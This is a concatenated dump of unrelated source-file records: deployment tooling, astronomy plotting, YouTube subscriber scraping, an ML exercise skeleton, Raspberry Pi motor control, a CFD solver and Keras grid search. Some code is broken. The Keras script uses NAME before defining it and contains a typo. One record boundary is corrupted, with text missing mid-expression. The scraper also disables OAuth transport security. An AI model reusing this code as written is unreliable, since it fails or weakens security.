\"Hidden\": True}\n else:\n # Make sure the default is casted to a string.\n parameter = prompt(\n f\"\\t{start_bold}Parameter {parameter_key}{end_bold}\",\n default=_prompted_param_overrides.get(\n parameter_key, str(parameter_properties.get(\"Default\", \"\"))\n ),\n type=click.STRING,\n )\n _prompted_param_overrides[parameter_key] = {\"Value\": parameter, \"Hidden\": False}\n return _prompted_param_overrides\n\n def run(self):\n\n try:\n _parameter_override_keys = get_template_parameters(template_file=self.template_file)\n except ValueError as ex:\n LOG.debug(\"Failed to parse SAM template\", exc_info=ex)\n raise GuidedDeployFailedError(str(ex))\n\n guided_config = GuidedConfig(template_file=self.template_file, section=self.config_section)\n guided_config.read_config_showcase()\n\n self.guided_prompts(_parameter_override_keys)\n\n if self.save_to_config:\n guided_config.save_config(\n self._parameter_overrides,\n stack_name=self.guided_stack_name,\n s3_bucket=self.guided_s3_bucket,\n s3_prefix=self.guided_s3_prefix,\n region=self.guided_region,\n profile=self.guided_profile,\n confirm_changeset=self.confirm_changeset,\n capabilities=self._capabilities,\n )\n","sub_path":"samcli/commands/deploy/guided_context.py","file_name":"guided_context.py","file_ext":"py","file_size_in_byte":6574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"240713936","text":"#!/usr/bin/env python\n\n# ========================================================================== #\n# File: plot_samples.py #\n# Programmer: Patrick Kantorski #\n# Date: 02/24/14 #\n# Class: Astronomy 121 - Radio Astronomy Lab #\n# Time: T 6:00-9:00 PM #\n# Instructor: Aaron Parsons #\n# Description: This program was written in Python to plot data taken from #\n# the program \"LO_sampling.py\" and the \"LO\" at UC Berkeley's #\n# radio astronomy laboratory in order to demonstrate the data #\n# and its limits. #\n# ========================================================================== #\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef main():\n # Loads data files.\n print(\"Loading sample data...\")\n a = np.load('/Users/ppkantorski/Documents/Radio_Astronomy/Lab_2/Code/2.3/sine_cos.npz')\n# b = np.load('/Users/ppkantorski/Documents/Radio_Astronomy/Lab_2/Code/2.2/omb_02.npz')\n \n #cosine\n data_1 = a['arr_2']\n #sine\n data_2 = a['arr_3']\n\n\n print(len(data_1))\n\n # Graphs data files.\n print(\"Generating graphs...\")\n gen_graph(data_1, data_2)\n \n print(\"All plots are complete!\\n\")\n\n\ndef gen_graph(data_1, data_2):\n \n x_axis = np.arange(0., len(data_1), 1.)\n \n n = 1\n while n < 3:\n #plt.subplot(2, 1, n)\n if n == 1:\n plt.plot(x_axis*2e-3, data_1, linewidth=2, color='b')\n plt.axis([0,.5,-2e6,2e6])\n #plt.xlabel('Time (ms)', fontsize=20)\n plt.ylabel('Least Significant Bits', fontsize=20)\n #plt.title('Digital Mixing with'+ r' $\\nu_{sig}=1.05 \\times\\ \\nu_{lo}$' ,size=22)\n if n == 2:\n plt.plot(x_axis*2e-3, data_2, linewidth=2, color='r')\n plt.axis([0,.5,-2e6,2e6])\n plt.xlabel('Time (us)', fontsize=20)\n plt.ylabel('Least Significant Bits', fontsize=20)\n plt.title('Real and Imaginary SSB' ,size=22)\n n += 1\n \n plt.rc('xtick', labelsize=12)\n plt.rc('ytick', labelsize=12)\n \n plt.tight_layout()\n plt.show()\n\n\nif __name__ == '__main__':\n\tmain()","sub_path":"Lab_2/Code/2.3/plot_upper_lower_z.py","file_name":"plot_upper_lower_z.py","file_ext":"py","file_size_in_byte":2449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"561688810","text":"# while generating the clientSecretFile in oAuthConsent developer should be given access under testing,should be added there.\n# Also we get the details of subscribers who set their subscriptions visibility to public.\ndef getSubscriberDetails(developerKey, channelId, clientSecretFile):\n import os\n import google.oauth2.credentials\n import google_auth_oauthlib.flow\n from googleapiclient.discovery import build\n from google_auth_oauthlib.flow import InstalledAppFlow\n\n youtube = build('youtube', 'v3', developerKey=developerKey) # getting the subscriberCount from channelsAPI \n subcribersCount = youtube.channels().list(part='statistics', id=channelId).execute()['items'][0]['statistics'][\n 'subscriberCount'] # UCnprfRlJB7WE6zAEaOAfVYA\n subcribersCount = (int(subcribersCount) // 10 + 1) * 10 # make it a multiple of ten\n\n SCOPES = ['https://www.googleapis.com/auth/youtube.readonly']\n API_SERVICE_NAME = 'youtube'\n API_VERSION = 'v3'\n subscriber_list = []\n\n def get_authenticated_service():\n flow = InstalledAppFlow.from_client_secrets_file(clientSecretFile, SCOPES)\n credentials = flow.run_console()\n return build(API_SERVICE_NAME, API_VERSION, credentials=credentials)\n\n # Remove keyword arguments that are not set\n def remove_empty_kwargs(**kwargs):\n good_kwargs = {}\n if kwargs is not None:\n for key, value in kwargs.items():\n if value:\n good_kwargs[key] = value\n return good_kwargs\n\n def subscriptions_list_by_channel_id(client, **kwargs):\n kwargs = remove_empty_kwargs(**kwargs)\n response = client.subscriptions().list(**kwargs).execute() # this gives the subscribersSnippet\n return response\n\n os.environ['OAUTHLIB_INSECURE_TRANSPORT'] = '1'\n client = get_authenticated_service()\n\n def tempList(response): # gives a list of dictonaries which contains name and channelId of subscribers.\n _list = []\n for i in response['items']:\n subscriber_dict = {}\n subscriber_dict[\"Name\"] = i['subscriberSnippet']['title']\n subscriber_dict['channelId'] = i['subscriberSnippet']['channelId']\n _list.append(subscriber_dict)\n return _list\n\n for i in range(subcribersCount): # we iterate the subscribersSnippet and iterate based on subscriberCount\n if i == 0:\n response = subscriptions_list_by_channel_id(client, part='subscriberSnippet', mySubscribers=True,\n maxResults=50)\n subscriber_list.extend(\n tempList(response)) # extending the list for adding the subsequent response.\n try:\n Token = response[\n 'nextPageToken'] # if nextpagetoken is available in the response ,will only be available when the subcribercount is more.\n except:\n break\n else:\n response = subscriptions_list_by_channel_id(client, part='subscriberSnippet', mySubscribers=True,\n maxResults=10, pageToken=Token)\n subscriber_list.extend(tempList(\n response)) # getting the response if the nextpage token is available and if it's the last page we break.\n try:\n Token = response['nextPageToken']\n except:\n break\n\n return subscriber_list\n\nprint(getSubscriberDetails(developerKey='xxxx',channelId='xxxx',clientSecretFile=\"xxx\"))\n","sub_path":"DataMiningYoutubeSubsciberDeatils.py","file_name":"DataMiningYoutubeSubsciberDeatils.py","file_ext":"py","file_size_in_byte":3554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"531742293","text":"import numpy as np\nimport random\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom matplotlib import cm\nimport math\n\n\ndef logistic_z(z): \n return 1.0/(1.0+np.exp(-z))\n\n\ndef logistic_wx(w, x):\n return logistic_z(np.inner(w, x))\n\n\ndef classify(w, x):\n x = np.hstack(([1], x))\n return 0 if (logistic_wx(w, x) < 0.5) else 1\n # x_train = [number_of_samples,number_of_features] = number_of_samples x \\in R^number_of_features\n\n\ndef stochast_train_w(x_train, y_train, learn_rate=0.1, niter=1000):\n x_train = np.hstack((np.array([1] * x_train.shape[0]).reshape(x_train.shape[0], 1), x_train))\n dim = x_train.shape[1]\n num_n = x_train.shape[0]\n w = np.random.rand(dim)\n index_lst = []\n for it in range(niter):\n if len(index_lst) == 0:\n index_lst = random.sample(range(num_n), k=num_n)\n xy_index = index_lst.pop()\n x = x_train[xy_index, :]\n y = y_train[xy_index]\n for i in range(dim):\n update_grad = 1 # something needs to be done here\n w[i] += learn_rate # something needs to be done here\n return w\n\n\ndef batch_train_w(x_train, y_train, learn_rate=0.1, niter=1000):\n x_train = np.hstack((np.array([1] * x_train.shape[0]).reshape(x_train.shape[0], 1), x_train))\n dim = x_train.shape[1]\n num_n = x_train.shape[0]\n w = np.random.rand(dim)\n index_lst = []\n for it in range(niter):\n for i in range(dim):\n update_grad = 0.0\n for n in range(num_n):\n update_grad += (-logistic_wx(w, x_train[n]) + y_train[n]) # something needs to be done here\n w[i] += learn_rate * update_grad/num_n\n return w\n\n\ndef train_and_plot(xtrain, ytrain, xtest, ytest, training_method, learn_rate=0.1, niter=10):\n plt.figure()\n # train data\n data = pd.DataFrame(np.hstack((xtrain, ytrain.reshape(xtrain.shape[0], 1))), columns=['x', 'y', 'lab'])\n ax = data.plot(kind='scatter', x='x', y='y', c='lab')\n\n # train weights\n w = training_method(xtrain, ytrain, learn_rate, niter)\n error = []\n y_est = []\n for i in range(len(ytest)):\n error.append(np.abs(classify(w, xtest[i])-ytest[i]))\n y_est.append(classify(w, xtest[i]))\n y_est = np.array(y_est)\n data_test = pd.DataFrame(np.hstack((xtest, y_est.reshape(xtest.shape[0], 1))), columns=['x', 'y', 'lab'])\n data_test.plot(kind='scatter', x='x', y='y', c='lab', ax=ax, cmap=cm.coolwarm)\n print(\"error=\", np.mean(error))\n return w\n\n\ndef train_and_plot2(xtrain,ytrain,xtest,ytest,training_method,learn_rate=0.1,niter=10):\n plt.figure()\n #train data\n data = pd.DataFrame(np.hstack((xtrain,ytrain.reshape(xtrain.shape[0],1))),columns=['x','y','lab'])\n ax=data.plot(kind='scatter',x='x',y='y',c='lab',cmap=cm.copper,edgecolors='black')\n #train weights\n w=training_method(xtrain,ytrain,learn_rate,niter)\n error=[]\n y_est=[]\n for i in xrange(len(ytest)):\n error.append(np.abs(classify(w,xtest[i])-ytest[i]))\n y_est.append(classify(w,xtest[i]))\n y_est=np.array(y_est)\n data_test = pd.DataFrame(np.hstack((xtest,y_est.reshape(xtest.shape[0],1))),columns=['x','y','lab'])\n data_test.plot(kind='scatter',x='x',y='y',c='lab',ax=ax,cmap=cm.coolwarm,edgecolors='black')\n print(\"error=\",np.mean(error))\n return w\n\n\ndef task1_1_1(fine_plot=None):\n print('Task I.1.1')\n\n def omega(w, x):\n wtx = 0\n for i in range(len(w)):\n wtx += w[i] * x[i]\n return 1 / (1 + math.exp(-wtx))\n\n def L_simple_func(w1, w2):\n k1 = (omega([w1, w2], [1, 0]) - 1)**2\n k2 = (omega([w1, w2], [0, 1]) - 0)**2\n k3 = (omega([w1, w2], [1, 1]) - 1)**2\n\n return k1 + k2 + k3\n\n if fine_plot is None:\n fine_plot = False\n\n if fine_plot:\n print('\\tMaking fine plot.')\n dw = 0.01\n else:\n print('\\tMaking coarse plot.')\n dw = 0.5\n\n w1 = np.arange(-6, 6+dw, dw)\n w2 = np.arange(-6, 6+dw, dw)\n assert (w1.shape[0] == w2.shape[0])\n\n W1, W2 = np.meshgrid(w1, w2)\n L = np.zeros(W1.shape)\n minL = 9999\n maxL = -9999\n minW1 = 0\n minW2 = 0\n for i in range(W1.shape[1]):\n for j in range(W1.shape[0]):\n L[i][j] = L_simple_func(W1[i][j], W2[i][j])\n\n if L[i][j] <= minL:\n minW1 = W1[i][j]\n minW2 = W2[i][j]\n minL = min(L[i][j], minL)\n maxL = max(L[i][j], maxL)\n\n plt.pcolormesh(W1, W2, L, cmap='RdYlGn')\n plt.plot(minW1, minW2, 'ko', markersize=10, fillstyle='none')\n\n plt.clim(math.floor(minL), math.ceil(maxL))\n\n plt.colorbar()\n plt.title('$L_{simple}$')\n plt.xlabel('$w_1$')\n plt.ylabel('$w_2$')\n\n a = [min(w1), max(w1), min(w2), max(w2)]\n plt.axis(a)\n\n plt.figure(1)\n if fine_plot:\n plt.savefig('figures/task1_1_1 colormesh fine.png')\n else:\n plt.savefig('figures/task1_1_1 colormesh coarse.png')\n #plt.clf()\n\n print('\\tw_min = (%0.2f,%0.2f)' % (minW1, minW2))\n print('\\tL_simple(w_min) = %0.5f' % minL)\n\n\ndef task1_1_3():\n print('Task I.1.3')\n def dL(w, i=1):\n w1 = w[0]\n w2 = w[1]\n\n x3 = w1 + w2\n x4 = 1 / (1 + math.exp(-x3))\n\n if i == 1:\n dl1 = ((2 / (1 + math.exp(-w1))) - 2) * (-math.exp(-w1)) / ((1 + math.exp(-w1)) ** 2)\n dl2 = 0\n elif i == 2:\n dl1 = 0\n dl2 = 2 / (1 + math.exp(-w2)) * ((-math.exp(-w2)) / ((1 + math.exp(-w2)) ** 2))\n else:\n return None\n dl3 = 2 * (x4 - 1) * (-math.exp(-x3) / (1 + math.exp(-x3)) ** 2)\n\n return dl1 + dl2 + dl3\n\n def GradientDescent(w, n=100, eta=1.0):\n \"\"\"\n Function to implement the Gradient Descent method\n\n :param w: starting value\n :param n: Number of iterations\n :param eta: step size\n :return: new weight vector\n \"\"\"\n\n assert type(w) == list and len(w) == 2\n\n w_old = w\n w_new = w\n\n w1_hist = []\n w2_hist = []\n i = 0\n for i in range(n):\n w_new[0] = w_old[0] + eta * dL(w_old, i=1)\n w_new[1] = w_old[1] + eta * dL(w_old, i=2)\n\n w_old = w_new\n\n w1_hist.append(w_new[0])\n w2_hist.append(w_new[1])\n\n if (w_new[0]) > 6 or (w_new[1]) < -6:\n # print('\\t\\tERROR: w is outside allowed domain. Stopping iterations.')\n break\n\n plt.figure(1)\n plt.plot(w1_hist, w2_hist, '.', markersize=2)\n plt.plot(w1_hist[-1], w2_hist[-1], 'kd', fillstyle='none')\n plt.axis([-6, 6, -6, 6])\n\n return w_new, i\n\n n = 1000\n w = []\n eta_list = []\n n_list = []\n\n\n x0 = np.linspace(-5.5, 5.5, 5)\n y0 = np.linspace(-5.5, 5.5, 5)\n\n\n for j in range(len(x0)):#np.arange(-6, 3.5, 0.5):\n for k in range(len(y0)):\n eta = 10**-0\n\n #x0 = (random.random()*12) - 6\n #y0 = (random.random()*12) - 6\n\n w0, n0 = GradientDescent([x0[j], y0[k]], n, eta)\n\n w.append(w0)\n n_list.append(n0)\n eta_list.append(eta)\n\n w2 = list(map(list, zip(*w)))\n\n \"\"\"\n f, axarr = plt.subplots(3, sharex=True)\n axarr[0].semilogx(eta_list, w2[0], 'k.')\n axarr[0].set_title('$w_1$')\n axarr[0].grid(which='both')\n\n axarr[1].semilogx(eta_list, w2[1], 'k.')\n axarr[1].set_title('$w_2$')\n axarr[1].grid(which='both')\n\n axarr[2].semilogx(eta_list, n_list, 'k.')\n axarr[2].set_title('$n$')\n axarr[2].grid(which='both')\n plt.xlabel('$\\eta$')\n\n f.subplots_adjust(hspace=0.3)\n \"\"\"\n\n #plt.savefig('figures/task1_1_3 Sensitivity large')\n i = 6.6\n plt.axis([-i, i, -i, i])\n plt.show()\n\n\ndef task2_1_1():\n pass\n\nif __name__ == '__main__':\n pass\n task1_1_1(fine_plot=False)\n task1_1_3()\n task2_1_1()\n","sub_path":"Exercise 5/skeleton.py","file_name":"skeleton.py","file_ext":"py","file_size_in_byte":7817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"481302169","text":"def solve(case):\r\n C,F,X=case\r\n r = 2\r\n cost = 0\r\n while C/r+X/(r+F) 0:\n pins = Motor.__MOTOR_PIN_CONBINATION__.pop()\n else:\n raise ValueError\n self.__pwm_pin_num__ = {'pin1':pins[0], 'pin2':pins[1]}\n #set GPIO 24 and 25 pins output\n GPIO.setup(self.__pwm_pin_num__['pin1'], GPIO.OUT)\n GPIO.setup(self.__pwm_pin_num__['pin2'], GPIO.OUT)\n #set Pals Width Modulator flequency 50kHz\n self.p1 = GPIO.PWM(self.__pwm_pin_num__['pin1'], self.__MOTOR_DRIVE_FLEQENCY__)\n self.p2 = GPIO.PWM(self.__pwm_pin_num__['pin2'], self.__MOTOR_DRIVE_FLEQENCY__)\n self.dutys = {'p1_duty':0, 'p2_duty':0}\n\n def set_power(self, power):\n '''set motor power\n power: -100 ~ 100 (%), int\n if you set power 100 , then motor work MAX_POWER\n if you set power 0 , then motor dont work\n if you set power -100, then motor reverse turn by MAX_POWER\n if you sey power 50 , then motor work MAX_POWER * 0.5\n '''\n if abs(power) > 100:\n raise ValueError\n\n if power > 0:\n duty = Motor.__MAX_POWER__ * float(power)/100.0\n duty = int(duty)\n self.dutys['p1_duty'] = duty\n self.dutys['p2_duty'] = 0\n elif power < 0:\n _power = abs(power)\n duty = Motor.__MAX_POWER__ * float(_power)/100.0\n duty = int(duty)\n self.dutys['p1_duty'] = 0\n self.dutys['p2_duty'] = duty\n\n elif power == 0:\n self.dutys['p1_duty'] = 0\n self.dutys['p2_duty'] = 0\n\n def start(self):\n '''\n start motor rotate\n '''\n self.p1.start(0)\n self.p2.start(0)\n self.p1.ChangeDutyCycle(self.dutys['p1_duty'])\n self.p2.ChangeDutyCycle(self.dutys['p2_duty'])\n def stop(self):\n '''\n stop motor rotate\n '''\n self.p1.stop()\n self.p2.stop()\n\nclass Robot(object):\n ''' Roboto class\n Robot has\n left_motor\n right_motor\n '''\n def __init__(self):\n '''\n initialize Robot Motors\n '''\n self.__left_motor__ = Motor()\n self.__right_motor__ = Motor()\n\n def move(self, lp, rp):\n '''\n set motors power and rotate left,right motors\n '''\n _lmotor = self.__left_motor__\n _rmotor = self.__right_motor__\n\n _lmotor.set_power(lp)\n _rmotor.set_power(rp)\n\n _lmotor.start()\n _rmotor.start()\n\n sleep(10)\n\n def stop(self):\n '''\n stop motor rotate\n '''\n self.__left_motor__.stop()\n self.__right_motor__.stop()\n\nif __name__ == '__main__':\n PI_ROBOT = Robot()\n PI_ROBOT.move(50, 50)\n PI_ROBOT.stop()\n","sub_path":"PiRobot/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3072,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"334903914","text":"# -*- coding: UTF-8 -*-\n#\n# Copyright (C) 2010-2011 Yung-Yu Chen .\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License along\n# with this program; if not, write to the Free Software Foundation, Inc.,\n# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n\n\"\"\"\nCESE solver specialized for general linear equations.\n\"\"\"\n\nfrom solvcon.gendata import SingleAssignDict, AttributeDict\nfrom solvcon.anchor import Anchor\nfrom solvcon.hook import BlockHook\nfrom solvcon.kerpak.cese import CeseSolver, CeseCase\n\n###############################################################################\n# Solver.\n###############################################################################\n\nclass LinceseSolver(CeseSolver):\n \"\"\"\n Basic linear CESE solver.\n\n @ivar cfldt: the time_increment for CFL calculation at boundcond.\n @itype cfldt: float\n @ivar cflmax: the maximum CFL number.\n @itype cflmax: float\n \"\"\"\n from solvcon.dependency import getcdll\n __clib_lincese = {\n 2: getcdll('lincese2d', raise_on_fail=False),\n 3: getcdll('lincese3d', raise_on_fail=False),\n }\n del getcdll\n @property\n def _clib_lincese(self):\n return self.__clib_lincese[self.ndim]\n @property\n def _jacofunc_(self):\n return self._clib_lincese.calc_jaco\n def __init__(self, *args, **kw):\n self.cfldt = kw.pop('cfldt', None)\n self.cflmax = 0.0\n super(LinceseSolver, self).__init__(*args, **kw)\n def make_grpda(self):\n raise NotImplementedError\n def provide(self):\n from ctypes import byref, c_int\n # fill group data array.\n self.make_grpda()\n # pre-calculate CFL.\n self._set_time(self.time, self.cfldt)\n self._clib_lincese.calc_cfl(\n byref(self.exd), c_int(0), c_int(self.ncell))\n self.cflmax = self.cfl.max()\n # super method.\n super(LinceseSolver, self).provide()\n def calccfl(self, worker=None):\n self.marchret.setdefault('cfl', [0.0, 0.0, 0, 0])\n self.marchret['cfl'][0] = self.cflmax\n self.marchret['cfl'][1] = self.cflmax\n self.marchret['cfl'][2] = 0\n self.marchret['cfl'][3] = 0\n return self.marchret\n\n###############################################################################\n# Case.\n###############################################################################\n\nclass LinceseCase(CeseCase):\n \"\"\"\n Basic case with linear CESE method.\n \"\"\"\n from solvcon.domain import Domain\n defdict = {\n 'solver.solvertype': LinceseSolver,\n 'solver.domaintype': Domain,\n 'solver.alpha': 0,\n 'solver.cfldt': None,\n }\n del Domain\n def make_solver_keywords(self):\n kw = super(LinceseCase, self).make_solver_keywords()\n # setup delta t for CFL calculation.\n cfldt = self.solver.cfldt\n cfldt = self.execution.time_increment if cfldt is None else cfldt\n kw['cfldt'] = cfldt\n return kw\n\n###############################################################################\n# Plane wave solution and initializer.\n###############################################################################\n\nclass PlaneWaveSolution(object):\n def __init__(self, **kw):\n from numpy import sqrt\n wvec = kw['wvec']\n ctr = kw['ctr']\n amp = kw['amp']\n assert len(wvec) == len(ctr)\n # calculate eigenvalues and eigenvectors.\n evl, evc = self._calc_eigen(**kw)\n # store data to self.\n self.amp = evc * (amp / sqrt((evc**2).sum()))\n self.ctr = ctr\n self.wvec = wvec\n self.afreq = evl * sqrt((wvec**2).sum())\n self.wsp = evl\n def _calc_eigen(self, *args, **kw):\n \"\"\"\n Calculate eigenvalues and eigenvectors.\n\n @return: eigenvalues and eigenvectors.\n @rtype: tuple\n \"\"\"\n raise NotImplementedError\n def __call__(self, svr, asol, adsol):\n from ctypes import byref, c_double\n svr._clib_lincese.calc_planewave(\n byref(svr.exd),\n asol.ctypes._as_parameter_,\n adsol.ctypes._as_parameter_,\n self.amp.ctypes._as_parameter_,\n self.ctr.ctypes._as_parameter_,\n self.wvec.ctypes._as_parameter_,\n c_double(self.afreq),\n )\n\nclass PlaneWaveAnchor(Anchor):\n def __init__(self, svr, **kw):\n self.planewaves = kw.pop('planewaves')\n super(PlaneWaveAnchor, self).__init__(svr, **kw)\n def _calculate(self, asol):\n for pw in self.planewaves:\n pw(self.svr, asol, self.adsol)\n def provide(self):\n from numpy import empty\n ngstcell = self.svr.ngstcell\n nacell = self.svr.ncell + ngstcell\n # plane wave solution.\n asol = self.svr.der['analytical'] = empty(\n (nacell, self.svr.neq), dtype=self.svr.fpdtype)\n adsol = self.adsol = empty(\n (nacell, self.svr.neq, self.svr.ndim),\n dtype=self.svr.fpdtype)\n asol.fill(0.0)\n self._calculate(asol)\n self.svr.soln[ngstcell:,:] = asol[ngstcell:,:]\n self.svr.dsoln[ngstcell:,:,:] = adsol[ngstcell:,:,:]\n # difference.\n diff = self.svr.der['difference'] = empty(\n (nacell, self.svr.neq), dtype=self.svr.fpdtype)\n diff[ngstcell:,:] = self.svr.soln[ngstcell:,:] - asol[ngstcell:,:]\n def postfull(self):\n ngstcell = self.svr.ngstcell\n # plane wave solution.\n asol = self.svr.der['analytical']\n asol.fill(0.0)\n self._calculate(asol)\n # difference.\n diff = self.svr.der['difference']\n diff[ngstcell:,:] = self.svr.soln[ngstcell:,:] - asol[ngstcell:,:]\n\nclass PlaneWaveHook(BlockHook):\n def __init__(self, svr, **kw):\n self.planewaves = kw.pop('planewaves')\n self.norm = dict()\n super(PlaneWaveHook, self).__init__(svr, **kw)\n def drop_anchor(self, svr):\n svr.runanchors.append(\n PlaneWaveAnchor(svr, planewaves=self.planewaves)\n )\n def _calculate(self):\n from numpy import empty, sqrt, abs\n neq = self.cse.execution.neq\n var = self.cse.execution.var\n asol = self._collect_interior(\n 'analytical', inder=True, consider_ghost=True)\n diff = self._collect_interior(\n 'difference', inder=True, consider_ghost=True)\n norm_Linf = empty(neq, dtype='float64')\n norm_L2 = empty(neq, dtype='float64')\n clvol = self.blk.clvol\n for it in range(neq):\n norm_Linf[it] = abs(diff[:,it]).max()\n norm_L2[it] = sqrt((diff[:,it]**2*clvol).sum())\n self.norm['Linf'] = norm_Linf\n self.norm['L2'] = norm_L2\n def preloop(self):\n from numpy import pi\n self.postmarch()\n for ipw in range(len(self.planewaves)):\n pw = self.planewaves[ipw]\n self.info(\"planewave[%d]:\\n\" % ipw)\n self.info(\" c = %g, omega = %g, T = %.15e\\n\" % (\n pw.wsp, pw.afreq, 2*pi/pw.afreq))\n def postmarch(self):\n psteps = self.psteps\n istep = self.cse.execution.step_current\n if istep%psteps == 0:\n self._calculate()\n def postloop(self):\n import os\n from cPickle import dump\n fname = '%s_norm.pickle' % self.cse.io.basefn\n fname = os.path.join(self.cse.io.basedir, fname)\n dump(self.norm, open(fname, 'wb'), -1)\n self.info('Linf norm in velocity:\\n')\n self.info(' %e, %e, %e\\n' % tuple(self.norm['Linf'][:3]))\n self.info('L2 norm in velocity:\\n')\n self.info(' %e, %e, %e\\n' % tuple(self.norm['L2'][:3]))\n","sub_path":"solvcon/kerpak/lincese.py","file_name":"lincese.py","file_ext":"py","file_size_in_byte":8152,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"649558818","text":"import torch\nimport numpy as np\nimport cv2\nfrom torchvision import transforms, datasets, models\nfrom utility import writePickle\nfrom PIL import Image\nfrom bow import data2image\n\n\ndef image_loader(img):\n loader = transforms.Compose([\n transforms.RandomResizedCrop(224),\n transforms.ToTensor(),\n transforms.Normalize(mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225])\n ])\n cv2_im = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n # image = Image.open(image_path)\n image = Image.fromarray(cv2_im)\n image = loader(image).float()\n image = torch.tensor(image, requires_grad=True)\n image = image.unsqueeze(0)\n return image\n\n\ndef encodeImage_deepfeat(img):\n image = image_loader(img)\n\n model = models.alexnet(pretrained=True)\n newclassifier = torch.nn.Sequential(\n *list(model.classifier.children())[:-1])\n model.classifier = newclassifier\n\n featureVector = model(image)\n return featureVector.data.numpy()[0]\n\n\ndef encodeBatch_deepfeat(data_batch):\n batch_encoded = []\n for row in data_batch['data']:\n img = data2image(row)\n batch_encoded.append(encodeImage_deepfeat(img))\n return np.array(batch_encoded)\n\n\ndef extractDeepFeat(dataset):\n trainloader = torch.utils.data.DataLoader(\n dataset, batch_size=100, num_workers=30)\n\n model = models.alexnet(pretrained=True)\n newclassifier = torch.nn.Sequential(\n *list(model.classifier.children())[:-1])\n model.classifier = newclassifier\n\n trn_encoded = None\n labels = None\n for idx, (x, y) in enumerate(trainloader):\n print(idx + 1) * 100\n featureVector = model(x)\n if trn_encoded is None:\n trn_encoded = featureVector.data.numpy()\n labels = y.data.numpy()\n else:\n trn_encoded = np.concatenate(\n (trn_encoded, featureVector.data.numpy()))\n labels = np.concatenate((labels, y.data.numpy()))\n\n return trn_encoded, labels\n\n\nif __name__ == '__main__':\n # transform_pipeline = transforms.Compose([\n # transforms.RandomResizedCrop(224),\n # transforms.ToTensor(),\n # transforms.Normalize(mean=[0.485, 0.456, 0.406],\n # std=[0.229, 0.224, 0.225])\n # ])\n # # Train data\n # trainset = datasets.CIFAR10(\n # root='.', train=True, download=False, transform=transform_pipeline)\n # trn_encoded, trn_labels = extractDeepFeat(trainset)\n # writePickle(trn_encoded, './deepfeat/trn_encoded')\n # writePickle(trn_labels, './deepfeat/trn_labels')\n\n # # Test data\n # testset = datasets.CIFAR10(\n # root='.', train=False, download=False, transform=transform_pipeline)\n # tst_encoded, tst_labels = extractDeepFeat(testset)\n # writePickle(tst_encoded, './deepfeat/tst_encoded')\n # writePickle(tst_labels, './deepfeat/tst_labels')\n image = cv2.imread('./index.jpeg')\n encodeImage_deepfeat(image)\n","sub_path":"extract_deepfeat.py","file_name":"extract_deepfeat.py","file_ext":"py","file_size_in_byte":2952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"58223154","text":"import tensorflow.keras as keras\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, Activation, Flatten, Conv2D, MaxPooling2D\nfrom keras.callbacks import TensorBoard\nimport pickle\nimport time\n\n# values to try in grid-search\ndense_layers = [0, 1, 2]\nlayer_sizes = [32, 64, 128]\nconv_layers = [1, 2, 3]\n\n# create a tensorboard callback to analyze the models\ntensorboard = TensorBoard(log_dir='logs/{}'.format(NAME))\n\n# Load the dataset prepared by our pipeline\nX = pickle.load(open(\"X.pickle\", \"rb\"))\ny = pickle.load(open(\"y.pickle\", \"rb\"))\n\n#scale rgb values\nX = X/255.0\n\n#each loop allows us to grid search over our specified parameters\nfor dense_layer in dense_layers:\n for layer_size in layer_sizes:\n for conv_layer in conv_layers:\n # create a name for the model\n NAME = \"{}-conv-{}-nodes-{}-dense-{}\".format(conv_layer, layer_size, dense_layer, int(itme.time()))\n\n #our convnet is a sequential model\n model = Sequential()\n \n # we want at least one conv layer\n #the kernel/window size is 3x3\n # the shape[1:] gets the size of the input datapoint\n model.add(Conv2D(layer_size, (3,3), input_shape = X.shape[1:]))\n model.add(Activation(\"relu\"))\n #pooling window has size 2x2\n model.add(MaxPooling2D(pool_size=(2,2)))\n\n #Loop that optionally stacks additional conv layers\n for l in range(conv_layer-1):\n model.add(Conv2D(layer_size, (3,3), input_shape = X.shape[1:]))\n model.add(Activation(\"relu\"))\n model.add(MaxPooling2D(pool_size=(2,2)))\n\n #flatten the model before passing to dense layers\n model.add(Flatten())\n\n #add dense layers as the search specifies\n for l in range(dense_layer):\n model.add(Dense(layer_size))\n model.add(Activation('relu'))\n\n # final classification layer that represents the decision between cat/dog\n model.add(Dense(1))\n model.add(Activation('sigmoid'))\n\n #compile the model\n model.compile(loss=\"binary_crossentropy\", optimizer=\"adam\", metrics=['accuracy'])\n # perform validation against test data. increase epochs for better trend information\n model.fit(X, y, batch_size=32, epochs=3, validation_split=0.1, callbacks=[tensorboard])\n\n #save each unique model so that you can reload it later.\n model.save(NAME)\n","sub_path":"keras/3.py","file_name":"3.py","file_ext":"py","file_size_in_byte":2543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"503676851","text":"\n\n#calss header\nclass _PAPACY():\n\tdef __init__(self,): \n\t\tself.name = \"PAPACY\"\n\t\tself.definitions = [u'the position or authority of the Pope (= the leader of the Roman Catholic Church), or the length of time that a particular person is Pope']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = 